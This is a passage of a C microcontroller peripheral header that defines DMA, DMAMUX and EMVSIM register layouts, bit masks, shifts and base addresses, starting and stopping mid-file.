#define DMA_DCHPRI1_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI1_ECP_SHIFT)) & DMA_DCHPRI1_ECP_MASK)
/*! @name DCHPRI0 - Channel n Priority Register */
#define DMA_DCHPRI0_CHPRI_MASK (0x7U)
#define DMA_DCHPRI0_CHPRI_SHIFT (0U)
#define DMA_DCHPRI0_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI0_CHPRI_SHIFT)) & DMA_DCHPRI0_CHPRI_MASK)
#define DMA_DCHPRI0_DPA_MASK (0x40U)
#define DMA_DCHPRI0_DPA_SHIFT (6U)
#define DMA_DCHPRI0_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI0_DPA_SHIFT)) & DMA_DCHPRI0_DPA_MASK)
#define DMA_DCHPRI0_ECP_MASK (0x80U)
#define DMA_DCHPRI0_ECP_SHIFT (7U)
#define DMA_DCHPRI0_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI0_ECP_SHIFT)) & DMA_DCHPRI0_ECP_MASK)
/*! @name DCHPRI7 - Channel n Priority Register */
#define DMA_DCHPRI7_CHPRI_MASK (0x7U)
#define DMA_DCHPRI7_CHPRI_SHIFT (0U)
#define DMA_DCHPRI7_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI7_CHPRI_SHIFT)) & DMA_DCHPRI7_CHPRI_MASK)
#define DMA_DCHPRI7_DPA_MASK (0x40U)
#define DMA_DCHPRI7_DPA_SHIFT (6U)
#define DMA_DCHPRI7_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI7_DPA_SHIFT)) & DMA_DCHPRI7_DPA_MASK)
#define DMA_DCHPRI7_ECP_MASK (0x80U)
#define DMA_DCHPRI7_ECP_SHIFT (7U)
#define DMA_DCHPRI7_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI7_ECP_SHIFT)) & DMA_DCHPRI7_ECP_MASK)
/*! @name DCHPRI6 - Channel n Priority Register */
#define DMA_DCHPRI6_CHPRI_MASK (0x7U)
#define DMA_DCHPRI6_CHPRI_SHIFT (0U)
#define DMA_DCHPRI6_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI6_CHPRI_SHIFT)) & DMA_DCHPRI6_CHPRI_MASK)
#define DMA_DCHPRI6_DPA_MASK (0x40U)
#define DMA_DCHPRI6_DPA_SHIFT (6U)
#define DMA_DCHPRI6_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI6_DPA_SHIFT)) & DMA_DCHPRI6_DPA_MASK)
#define DMA_DCHPRI6_ECP_MASK (0x80U)
#define DMA_DCHPRI6_ECP_SHIFT (7U)
#define DMA_DCHPRI6_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI6_ECP_SHIFT)) & DMA_DCHPRI6_ECP_MASK)
/*! @name DCHPRI5 - Channel n Priority Register */
#define DMA_DCHPRI5_CHPRI_MASK (0x7U)
#define DMA_DCHPRI5_CHPRI_SHIFT (0U)
#define DMA_DCHPRI5_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI5_CHPRI_SHIFT)) & DMA_DCHPRI5_CHPRI_MASK)
#define DMA_DCHPRI5_DPA_MASK (0x40U)
#define DMA_DCHPRI5_DPA_SHIFT (6U)
#define DMA_DCHPRI5_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI5_DPA_SHIFT)) & DMA_DCHPRI5_DPA_MASK)
#define DMA_DCHPRI5_ECP_MASK (0x80U)
#define DMA_DCHPRI5_ECP_SHIFT (7U)
#define DMA_DCHPRI5_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI5_ECP_SHIFT)) & DMA_DCHPRI5_ECP_MASK)
/*! @name DCHPRI4 - Channel n Priority Register */
#define DMA_DCHPRI4_CHPRI_MASK (0x7U)
#define DMA_DCHPRI4_CHPRI_SHIFT (0U)
#define DMA_DCHPRI4_CHPRI(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI4_CHPRI_SHIFT)) & DMA_DCHPRI4_CHPRI_MASK)
#define DMA_DCHPRI4_DPA_MASK (0x40U)
#define DMA_DCHPRI4_DPA_SHIFT (6U)
#define DMA_DCHPRI4_DPA(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI4_DPA_SHIFT)) & DMA_DCHPRI4_DPA_MASK)
#define DMA_DCHPRI4_ECP_MASK (0x80U)
#define DMA_DCHPRI4_ECP_SHIFT (7U)
#define DMA_DCHPRI4_ECP(x) (((uint8_t)(((uint8_t)(x)) << DMA_DCHPRI4_ECP_SHIFT)) & DMA_DCHPRI4_ECP_MASK)
/*! @name SADDR - TCD Source Address */
#define DMA_SADDR_SADDR_MASK (0xFFFFFFFFU)
#define DMA_SADDR_SADDR_SHIFT (0U)
#define DMA_SADDR_SADDR(x) (((uint32_t)(((uint32_t)(x)) << DMA_SADDR_SADDR_SHIFT)) & DMA_SADDR_SADDR_MASK)
/* The count of DMA_SADDR */
#define DMA_SADDR_COUNT (8U)
/*! @name SOFF - TCD Signed Source Address Offset */
#define DMA_SOFF_SOFF_MASK (0xFFFFU)
#define DMA_SOFF_SOFF_SHIFT (0U)
#define DMA_SOFF_SOFF(x) (((uint16_t)(((uint16_t)(x)) << DMA_SOFF_SOFF_SHIFT)) & DMA_SOFF_SOFF_MASK)
/* The count of DMA_SOFF */
#define DMA_SOFF_COUNT (8U)
/*! @name ATTR - TCD Transfer Attributes */
#define DMA_ATTR_DSIZE_MASK (0x7U)
#define DMA_ATTR_DSIZE_SHIFT (0U)
#define DMA_ATTR_DSIZE(x) (((uint16_t)(((uint16_t)(x)) << DMA_ATTR_DSIZE_SHIFT)) & DMA_ATTR_DSIZE_MASK)
#define DMA_ATTR_DMOD_MASK (0xF8U)
#define DMA_ATTR_DMOD_SHIFT (3U)
#define DMA_ATTR_DMOD(x) (((uint16_t)(((uint16_t)(x)) << DMA_ATTR_DMOD_SHIFT)) & DMA_ATTR_DMOD_MASK)
#define DMA_ATTR_SSIZE_MASK (0x700U)
#define DMA_ATTR_SSIZE_SHIFT (8U)
#define DMA_ATTR_SSIZE(x) (((uint16_t)(((uint16_t)(x)) << DMA_ATTR_SSIZE_SHIFT)) & DMA_ATTR_SSIZE_MASK)
#define DMA_ATTR_SMOD_MASK (0xF800U)
#define DMA_ATTR_SMOD_SHIFT (11U)
#define DMA_ATTR_SMOD(x) (((uint16_t)(((uint16_t)(x)) << DMA_ATTR_SMOD_SHIFT)) & DMA_ATTR_SMOD_MASK)
/* The count of DMA_ATTR */
#define DMA_ATTR_COUNT (8U)
/*! @name NBYTES_MLNO - TCD Minor Byte Count (Minor Loop Mapping Disabled) */
#define DMA_NBYTES_MLNO_NBYTES_MASK (0xFFFFFFFFU)
#define DMA_NBYTES_MLNO_NBYTES_SHIFT (0U)
#define DMA_NBYTES_MLNO_NBYTES(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLNO_NBYTES_SHIFT)) & DMA_NBYTES_MLNO_NBYTES_MASK)
/* The count of DMA_NBYTES_MLNO */
#define DMA_NBYTES_MLNO_COUNT (8U)
/*! @name NBYTES_MLOFFNO - TCD Signed Minor Loop Offset (Minor Loop Mapping Enabled and Offset Disabled) */
#define DMA_NBYTES_MLOFFNO_NBYTES_MASK (0x3FFFFFFFU)
#define DMA_NBYTES_MLOFFNO_NBYTES_SHIFT (0U)
#define DMA_NBYTES_MLOFFNO_NBYTES(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFNO_NBYTES_SHIFT)) & DMA_NBYTES_MLOFFNO_NBYTES_MASK)
#define DMA_NBYTES_MLOFFNO_DMLOE_MASK (0x40000000U)
#define DMA_NBYTES_MLOFFNO_DMLOE_SHIFT (30U)
#define DMA_NBYTES_MLOFFNO_DMLOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFNO_DMLOE_SHIFT)) & DMA_NBYTES_MLOFFNO_DMLOE_MASK)
#define DMA_NBYTES_MLOFFNO_SMLOE_MASK (0x80000000U)
#define DMA_NBYTES_MLOFFNO_SMLOE_SHIFT (31U)
#define DMA_NBYTES_MLOFFNO_SMLOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFNO_SMLOE_SHIFT)) & DMA_NBYTES_MLOFFNO_SMLOE_MASK)
/* The count of DMA_NBYTES_MLOFFNO */
#define DMA_NBYTES_MLOFFNO_COUNT (8U)
/*! @name NBYTES_MLOFFYES - TCD Signed Minor Loop Offset (Minor Loop Mapping and Offset Enabled) */
#define DMA_NBYTES_MLOFFYES_NBYTES_MASK (0x3FFU)
#define DMA_NBYTES_MLOFFYES_NBYTES_SHIFT (0U)
#define DMA_NBYTES_MLOFFYES_NBYTES(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFYES_NBYTES_SHIFT)) & DMA_NBYTES_MLOFFYES_NBYTES_MASK)
#define DMA_NBYTES_MLOFFYES_MLOFF_MASK (0x3FFFFC00U)
#define DMA_NBYTES_MLOFFYES_MLOFF_SHIFT (10U)
#define DMA_NBYTES_MLOFFYES_MLOFF(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFYES_MLOFF_SHIFT)) & DMA_NBYTES_MLOFFYES_MLOFF_MASK)
#define DMA_NBYTES_MLOFFYES_DMLOE_MASK (0x40000000U)
#define DMA_NBYTES_MLOFFYES_DMLOE_SHIFT (30U)
#define DMA_NBYTES_MLOFFYES_DMLOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFYES_DMLOE_SHIFT)) & DMA_NBYTES_MLOFFYES_DMLOE_MASK)
#define DMA_NBYTES_MLOFFYES_SMLOE_MASK (0x80000000U)
#define DMA_NBYTES_MLOFFYES_SMLOE_SHIFT (31U)
#define DMA_NBYTES_MLOFFYES_SMLOE(x) (((uint32_t)(((uint32_t)(x)) << DMA_NBYTES_MLOFFYES_SMLOE_SHIFT)) & DMA_NBYTES_MLOFFYES_SMLOE_MASK)
/* The count of DMA_NBYTES_MLOFFYES */
#define DMA_NBYTES_MLOFFYES_COUNT (8U)
/*! @name SLAST - TCD Last Source Address Adjustment */
#define DMA_SLAST_SLAST_MASK (0xFFFFFFFFU)
#define DMA_SLAST_SLAST_SHIFT (0U)
#define DMA_SLAST_SLAST(x) (((uint32_t)(((uint32_t)(x)) << DMA_SLAST_SLAST_SHIFT)) & DMA_SLAST_SLAST_MASK)
/* The count of DMA_SLAST */
#define DMA_SLAST_COUNT (8U)
/*! @name DADDR - TCD Destination Address */
#define DMA_DADDR_DADDR_MASK (0xFFFFFFFFU)
#define DMA_DADDR_DADDR_SHIFT (0U)
#define DMA_DADDR_DADDR(x) (((uint32_t)(((uint32_t)(x)) << DMA_DADDR_DADDR_SHIFT)) & DMA_DADDR_DADDR_MASK)
/* The count of DMA_DADDR */
#define DMA_DADDR_COUNT (8U)
/*! @name DOFF - TCD Signed Destination Address Offset */
#define DMA_DOFF_DOFF_MASK (0xFFFFU)
#define DMA_DOFF_DOFF_SHIFT (0U)
#define DMA_DOFF_DOFF(x) (((uint16_t)(((uint16_t)(x)) << DMA_DOFF_DOFF_SHIFT)) & DMA_DOFF_DOFF_MASK)
/* The count of DMA_DOFF */
#define DMA_DOFF_COUNT (8U)
/*! @name CITER_ELINKNO - TCD Current Minor Loop Link, Major Loop Count (Channel Linking Disabled) */
#define DMA_CITER_ELINKNO_CITER_MASK (0x7FFFU)
#define DMA_CITER_ELINKNO_CITER_SHIFT (0U)
#define DMA_CITER_ELINKNO_CITER(x) (((uint16_t)(((uint16_t)(x)) << DMA_CITER_ELINKNO_CITER_SHIFT)) & DMA_CITER_ELINKNO_CITER_MASK)
#define DMA_CITER_ELINKNO_ELINK_MASK (0x8000U)
#define DMA_CITER_ELINKNO_ELINK_SHIFT (15U)
#define DMA_CITER_ELINKNO_ELINK(x) (((uint16_t)(((uint16_t)(x)) << DMA_CITER_ELINKNO_ELINK_SHIFT)) & DMA_CITER_ELINKNO_ELINK_MASK)
/* The count of DMA_CITER_ELINKNO */
#define DMA_CITER_ELINKNO_COUNT (8U)
/*! @name CITER_ELINKYES - TCD Current Minor Loop Link, Major Loop Count (Channel Linking Enabled) */
#define DMA_CITER_ELINKYES_CITER_MASK (0x1FFU)
#define DMA_CITER_ELINKYES_CITER_SHIFT (0U)
#define DMA_CITER_ELINKYES_CITER(x) (((uint16_t)(((uint16_t)(x)) << DMA_CITER_ELINKYES_CITER_SHIFT)) & DMA_CITER_ELINKYES_CITER_MASK)
#define DMA_CITER_ELINKYES_LINKCH_MASK (0xE00U)
#define DMA_CITER_ELINKYES_LINKCH_SHIFT (9U)
#define DMA_CITER_ELINKYES_LINKCH(x) (((uint16_t)(((uint16_t)(x)) << DMA_CITER_ELINKYES_LINKCH_SHIFT)) & DMA_CITER_ELINKYES_LINKCH_MASK)
#define DMA_CITER_ELINKYES_ELINK_MASK (0x8000U)
#define DMA_CITER_ELINKYES_ELINK_SHIFT (15U)
#define DMA_CITER_ELINKYES_ELINK(x) (((uint16_t)(((uint16_t)(x)) << DMA_CITER_ELINKYES_ELINK_SHIFT)) & DMA_CITER_ELINKYES_ELINK_MASK)
/* The count of DMA_CITER_ELINKYES */
#define DMA_CITER_ELINKYES_COUNT (8U)
/*! @name DLAST_SGA - TCD Last Destination Address Adjustment/Scatter Gather Address */
#define DMA_DLAST_SGA_DLASTSGA_MASK (0xFFFFFFFFU)
#define DMA_DLAST_SGA_DLASTSGA_SHIFT (0U)
#define DMA_DLAST_SGA_DLASTSGA(x) (((uint32_t)(((uint32_t)(x)) << DMA_DLAST_SGA_DLASTSGA_SHIFT)) & DMA_DLAST_SGA_DLASTSGA_MASK)
/* The count of DMA_DLAST_SGA */
#define DMA_DLAST_SGA_COUNT (8U)
/*! @name CSR - TCD Control and Status */
#define DMA_CSR_START_MASK (0x1U)
#define DMA_CSR_START_SHIFT (0U)
#define DMA_CSR_START(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_START_SHIFT)) & DMA_CSR_START_MASK)
#define DMA_CSR_INTMAJOR_MASK (0x2U)
#define DMA_CSR_INTMAJOR_SHIFT (1U)
#define DMA_CSR_INTMAJOR(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_INTMAJOR_SHIFT)) & DMA_CSR_INTMAJOR_MASK)
#define DMA_CSR_INTHALF_MASK (0x4U)
#define DMA_CSR_INTHALF_SHIFT (2U)
#define DMA_CSR_INTHALF(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_INTHALF_SHIFT)) & DMA_CSR_INTHALF_MASK)
#define DMA_CSR_DREQ_MASK (0x8U)
#define DMA_CSR_DREQ_SHIFT (3U)
#define DMA_CSR_DREQ(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_DREQ_SHIFT)) & DMA_CSR_DREQ_MASK)
#define DMA_CSR_ESG_MASK (0x10U)
#define DMA_CSR_ESG_SHIFT (4U)
#define DMA_CSR_ESG(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_ESG_SHIFT)) & DMA_CSR_ESG_MASK)
#define DMA_CSR_MAJORELINK_MASK (0x20U)
#define DMA_CSR_MAJORELINK_SHIFT (5U)
#define DMA_CSR_MAJORELINK(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_MAJORELINK_SHIFT)) & DMA_CSR_MAJORELINK_MASK)
#define DMA_CSR_ACTIVE_MASK (0x40U)
#define DMA_CSR_ACTIVE_SHIFT (6U)
#define DMA_CSR_ACTIVE(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_ACTIVE_SHIFT)) & DMA_CSR_ACTIVE_MASK)
#define DMA_CSR_DONE_MASK (0x80U)
#define DMA_CSR_DONE_SHIFT (7U)
#define DMA_CSR_DONE(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_DONE_SHIFT)) & DMA_CSR_DONE_MASK)
#define DMA_CSR_MAJORLINKCH_MASK (0x700U)
#define DMA_CSR_MAJORLINKCH_SHIFT (8U)
#define DMA_CSR_MAJORLINKCH(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_MAJORLINKCH_SHIFT)) & DMA_CSR_MAJORLINKCH_MASK)
#define DMA_CSR_BWC_MASK (0xC000U)
#define DMA_CSR_BWC_SHIFT (14U)
#define DMA_CSR_BWC(x) (((uint16_t)(((uint16_t)(x)) << DMA_CSR_BWC_SHIFT)) & DMA_CSR_BWC_MASK)
/* The count of DMA_CSR */
#define DMA_CSR_COUNT (8U)
/*! @name BITER_ELINKNO - TCD Beginning Minor Loop Link, Major Loop Count (Channel Linking Disabled) */
#define DMA_BITER_ELINKNO_BITER_MASK (0x7FFFU)
#define DMA_BITER_ELINKNO_BITER_SHIFT (0U)
#define DMA_BITER_ELINKNO_BITER(x) (((uint16_t)(((uint16_t)(x)) << DMA_BITER_ELINKNO_BITER_SHIFT)) & DMA_BITER_ELINKNO_BITER_MASK)
#define DMA_BITER_ELINKNO_ELINK_MASK (0x8000U)
#define DMA_BITER_ELINKNO_ELINK_SHIFT (15U)
#define DMA_BITER_ELINKNO_ELINK(x) (((uint16_t)(((uint16_t)(x)) << DMA_BITER_ELINKNO_ELINK_SHIFT)) & DMA_BITER_ELINKNO_ELINK_MASK)
/* The count of DMA_BITER_ELINKNO */
#define DMA_BITER_ELINKNO_COUNT (8U)
/*! @name BITER_ELINKYES - TCD Beginning Minor Loop Link, Major Loop Count (Channel Linking Enabled) */
#define DMA_BITER_ELINKYES_BITER_MASK (0x1FFU)
#define DMA_BITER_ELINKYES_BITER_SHIFT (0U)
#define DMA_BITER_ELINKYES_BITER(x) (((uint16_t)(((uint16_t)(x)) << DMA_BITER_ELINKYES_BITER_SHIFT)) & DMA_BITER_ELINKYES_BITER_MASK)
#define DMA_BITER_ELINKYES_LINKCH_MASK (0xE00U)
#define DMA_BITER_ELINKYES_LINKCH_SHIFT (9U)
#define DMA_BITER_ELINKYES_LINKCH(x) (((uint16_t)(((uint16_t)(x)) << DMA_BITER_ELINKYES_LINKCH_SHIFT)) & DMA_BITER_ELINKYES_LINKCH_MASK)
#define DMA_BITER_ELINKYES_ELINK_MASK (0x8000U)
#define DMA_BITER_ELINKYES_ELINK_SHIFT (15U)
#define DMA_BITER_ELINKYES_ELINK(x) (((uint16_t)(((uint16_t)(x)) << DMA_BITER_ELINKYES_ELINK_SHIFT)) & DMA_BITER_ELINKYES_ELINK_MASK)
/* The count of DMA_BITER_ELINKYES */
#define DMA_BITER_ELINKYES_COUNT (8U)
/*!
* @}
*/ /* end of group DMA_Register_Masks */
/* DMA - Peripheral instance base addresses */
/** Peripheral DMA0 base address */
#define DMA0_BASE (0x40008000u)
/** Peripheral DMA0 base pointer */
#define DMA0 ((DMA_Type *)DMA0_BASE)
/** Peripheral DMA1 base address */
#define DMA1_BASE (0x40088000u)
/** Peripheral DMA1 base pointer */
#define DMA1 ((DMA_Type *)DMA1_BASE)
/** Array initializer of DMA peripheral base addresses */
#define DMA_BASE_ADDRS { DMA0_BASE, DMA1_BASE }
/** Array initializer of DMA peripheral base pointers */
#define DMA_BASE_PTRS { DMA0, DMA1 }
/** Interrupt vectors for the DMA peripheral type */
#define DMA_CHN_IRQS { { DMA0_04_IRQn, DMA0_15_IRQn, DMA0_26_IRQn, DMA0_37_IRQn, DMA0_04_IRQn, DMA0_15_IRQn, DMA0_26_IRQn, DMA0_37_IRQn }, { DMA1_04_IRQn, DMA1_15_IRQn, DMA1_26_IRQn, DMA1_37_IRQn, DMA1_04_IRQn, DMA1_15_IRQn, DMA1_26_IRQn, DMA1_37_IRQn } }
#define DMA_ERROR_IRQS { CTI0_DMA0_Error_IRQn, DMA1_Error_IRQn }
/*!
* @}
*/ /* end of group DMA_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- DMAMUX Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup DMAMUX_Peripheral_Access_Layer DMAMUX Peripheral Access Layer
* @{
*/
/** DMAMUX - Register Layout Typedef */
typedef struct {
__IO uint8_t CHCFG[8]; /**< Channel Configuration register, array offset: 0x0, array step: 0x1 */
} DMAMUX_Type;
/* ----------------------------------------------------------------------------
-- DMAMUX Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup DMAMUX_Register_Masks DMAMUX Register Masks
* @{
*/
/*! @name CHCFG - Channel Configuration register */
#define DMAMUX_CHCFG_SOURCE_MASK (0x3FU)
#define DMAMUX_CHCFG_SOURCE_SHIFT (0U)
#define DMAMUX_CHCFG_SOURCE(x) (((uint8_t)(((uint8_t)(x)) << DMAMUX_CHCFG_SOURCE_SHIFT)) & DMAMUX_CHCFG_SOURCE_MASK)
#define DMAMUX_CHCFG_TRIG_MASK (0x40U)
#define DMAMUX_CHCFG_TRIG_SHIFT (6U)
#define DMAMUX_CHCFG_TRIG(x) (((uint8_t)(((uint8_t)(x)) << DMAMUX_CHCFG_TRIG_SHIFT)) & DMAMUX_CHCFG_TRIG_MASK)
#define DMAMUX_CHCFG_ENBL_MASK (0x80U)
#define DMAMUX_CHCFG_ENBL_SHIFT (7U)
#define DMAMUX_CHCFG_ENBL(x) (((uint8_t)(((uint8_t)(x)) << DMAMUX_CHCFG_ENBL_SHIFT)) & DMAMUX_CHCFG_ENBL_MASK)
/* The count of DMAMUX_CHCFG */
#define DMAMUX_CHCFG_COUNT (8U)
/*!
* @}
*/ /* end of group DMAMUX_Register_Masks */
/* DMAMUX - Peripheral instance base addresses */
/** Peripheral DMAMUX0 base address */
#define DMAMUX0_BASE (0x40021000u)
/** Peripheral DMAMUX0 base pointer */
#define DMAMUX0 ((DMAMUX_Type *)DMAMUX0_BASE)
/** Peripheral DMAMUX1 base address */
#define DMAMUX1_BASE (0x400A1000u)
/** Peripheral DMAMUX1 base pointer */
#define DMAMUX1 ((DMAMUX_Type *)DMAMUX1_BASE)
/** Array initializer of DMAMUX peripheral base addresses */
#define DMAMUX_BASE_ADDRS { DMAMUX0_BASE, DMAMUX1_BASE }
/** Array initializer of DMAMUX peripheral base pointers */
#define DMAMUX_BASE_PTRS { DMAMUX0, DMAMUX1 }
/*!
* @}
*/ /* end of group DMAMUX_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- EMVSIM Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup EMVSIM_Peripheral_Access_Layer EMVSIM Peripheral Access Layer
* @{
*/
/** EMVSIM - Register Layout Typedef */
typedef struct {
__I uint32_t VER_ID; /**< Version ID Register, offset: 0x0 */
__I uint32_t PARAM; /**< Parameter Register, offset: 0x4 */
__IO uint32_t CLKCFG; /**< Clock Configuration Register, offset: 0x8 */
__IO uint32_t DIVISOR; /**< Baud Rate Divisor Register, offset: 0xC */
__IO uint32_t CTRL; /**< Control Register, offset: 0x10 */
__IO uint32_t INT_MASK; /**< Interrupt Mask Register, offset: 0x14 */
__IO uint32_t RX_THD; /**< Receiver Threshold Register, offset: 0x18 */
__IO uint32_t TX_THD; /**< Transmitter Threshold Register, offset: 0x1C */
__IO uint32_t RX_STATUS; /**< Receive Status Register, offset: 0x20 */
__IO uint32_t TX_STATUS; /**< Transmitter Status Register, offset: 0x24 */
__IO uint32_t PCSR; /**< Port Control and Status Register, offset: 0x28 */
__I uint32_t RX_BUF; /**< Receive Data Read Buffer, offset: 0x2C */
__IO uint32_t TX_BUF; /**< Transmit Data Buffer, offset: 0x30 */
__IO uint32_t TX_GETU; /**< Transmitter Guard ETU Value Register, offset: 0x34 */
__IO uint32_t CWT_VAL; /**< Character Wait Time Value Register, offset: 0x38 */
__IO uint32_t BWT_VAL; /**< Block Wait Time Value Register, offset: 0x3C */
__IO uint32_t BGT_VAL; /**< Block Guard Time Value Register, offset: 0x40 */
__IO uint32_t GPCNT0_VAL; /**< General Purpose Counter 0 Timeout Value Register, offset: 0x44 */
__IO uint32_t GPCNT1_VAL; /**< General Purpose Counter 1 Timeout Value, offset: 0x48 */
} EMVSIM_Type;
/* ----------------------------------------------------------------------------
-- EMVSIM Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup EMVSIM_Register_Masks EMVSIM Register Masks
* @{
*/
/*! @name VER_ID - Version ID Register */
#define EMVSIM_VER_ID_VER_MASK (0xFFFFFFFFU)
#define EMVSIM_VER_ID_VER_SHIFT (0U)
#define EMVSIM_VER_ID_VER(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_VER_ID_VER_SHIFT)) & EMVSIM_VER_ID_VER_MASK)
/*! @name PARAM - Parameter Register */
#define EMVSIM_PARAM_RX_FIFO_DEPTH_MASK (0xFFU)
#define EMVSIM_PARAM_RX_FIFO_DEPTH_SHIFT (0U)
#define EMVSIM_PARAM_RX_FIFO_DEPTH(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PARAM_RX_FIFO_DEPTH_SHIFT)) & EMVSIM_PARAM_RX_FIFO_DEPTH_MASK)
#define EMVSIM_PARAM_TX_FIFO_DEPTH_MASK (0xFF00U)
#define EMVSIM_PARAM_TX_FIFO_DEPTH_SHIFT (8U)
#define EMVSIM_PARAM_TX_FIFO_DEPTH(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_PARAM_TX_FIFO_DEPTH_SHIFT)) & EMVSIM_PARAM_TX_FIFO_DEPTH_MASK)
/*! @name CLKCFG - Clock Configuration Register */
#define EMVSIM_CLKCFG_CLK_PRSC_MASK (0xFFU)
#define EMVSIM_CLKCFG_CLK_PRSC_SHIFT (0U)
#define EMVSIM_CLKCFG_CLK_PRSC(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CLKCFG_CLK_PRSC_SHIFT)) & EMVSIM_CLKCFG_CLK_PRSC_MASK)
#define EMVSIM_CLKCFG_GPCNT1_CLK_SEL_MASK (0x300U)
#define EMVSIM_CLKCFG_GPCNT1_CLK_SEL_SHIFT (8U)
#define EMVSIM_CLKCFG_GPCNT1_CLK_SEL(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CLKCFG_GPCNT1_CLK_SEL_SHIFT)) & EMVSIM_CLKCFG_GPCNT1_CLK_SEL_MASK)
#define EMVSIM_CLKCFG_GPCNT0_CLK_SEL_MASK (0xC00U)
#define EMVSIM_CLKCFG_GPCNT0_CLK_SEL_SHIFT (10U)
#define EMVSIM_CLKCFG_GPCNT0_CLK_SEL(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CLKCFG_GPCNT0_CLK_SEL_SHIFT)) & EMVSIM_CLKCFG_GPCNT0_CLK_SEL_MASK)
/*! @name DIVISOR - Baud Rate Divisor Register */
#define EMVSIM_DIVISOR_DIVISOR_VALUE_MASK (0x1FFU)
#define EMVSIM_DIVISOR_DIVISOR_VALUE_SHIFT (0U)
#define EMVSIM_DIVISOR_DIVISOR_VALUE(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_DIVISOR_DIVISOR_VALUE_SHIFT)) & EMVSIM_DIVISOR_DIVISOR_VALUE_MASK)
/*! @name CTRL - Control Register */
#define EMVSIM_CTRL_IC_MASK (0x1U)
#define EMVSIM_CTRL_IC_SHIFT (0U)
#define EMVSIM_CTRL_IC(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_IC_SHIFT)) & EMVSIM_CTRL_IC_MASK)
#define EMVSIM_CTRL_ICM_MASK (0x2U)
#define EMVSIM_CTRL_ICM_SHIFT (1U)
#define EMVSIM_CTRL_ICM(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_ICM_SHIFT)) & EMVSIM_CTRL_ICM_MASK)
#define EMVSIM_CTRL_ANACK_MASK (0x4U)
#define EMVSIM_CTRL_ANACK_SHIFT (2U)
#define EMVSIM_CTRL_ANACK(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_ANACK_SHIFT)) & EMVSIM_CTRL_ANACK_MASK)
#define EMVSIM_CTRL_ONACK_MASK (0x8U)
#define EMVSIM_CTRL_ONACK_SHIFT (3U)
#define EMVSIM_CTRL_ONACK(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_ONACK_SHIFT)) & EMVSIM_CTRL_ONACK_MASK)
#define EMVSIM_CTRL_FLSH_RX_MASK (0x100U)
#define EMVSIM_CTRL_FLSH_RX_SHIFT (8U)
#define EMVSIM_CTRL_FLSH_RX(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_FLSH_RX_SHIFT)) & EMVSIM_CTRL_FLSH_RX_MASK)
#define EMVSIM_CTRL_FLSH_TX_MASK (0x200U)
#define EMVSIM_CTRL_FLSH_TX_SHIFT (9U)
#define EMVSIM_CTRL_FLSH_TX(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_FLSH_TX_SHIFT)) & EMVSIM_CTRL_FLSH_TX_MASK)
#define EMVSIM_CTRL_SW_RST_MASK (0x400U)
#define EMVSIM_CTRL_SW_RST_SHIFT (10U)
#define EMVSIM_CTRL_SW_RST(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_SW_RST_SHIFT)) & EMVSIM_CTRL_SW_RST_MASK)
#define EMVSIM_CTRL_KILL_CLOCKS_MASK (0x800U)
#define EMVSIM_CTRL_KILL_CLOCKS_SHIFT (11U)
#define EMVSIM_CTRL_KILL_CLOCKS(x) (((uint32_t)(((uint32_t)(x)) << EMVSIM_CTRL_KILL_CLOCKS_SHIFT)) & EMVSIM_CTRL_KILL_CLOCKS_MASK)
#define EMVSIM_CTRL_DOZE_EN_MASK (0x1000U)
#define EMVSIM_CTRL_DOZE_EN_SHIFT (12U)
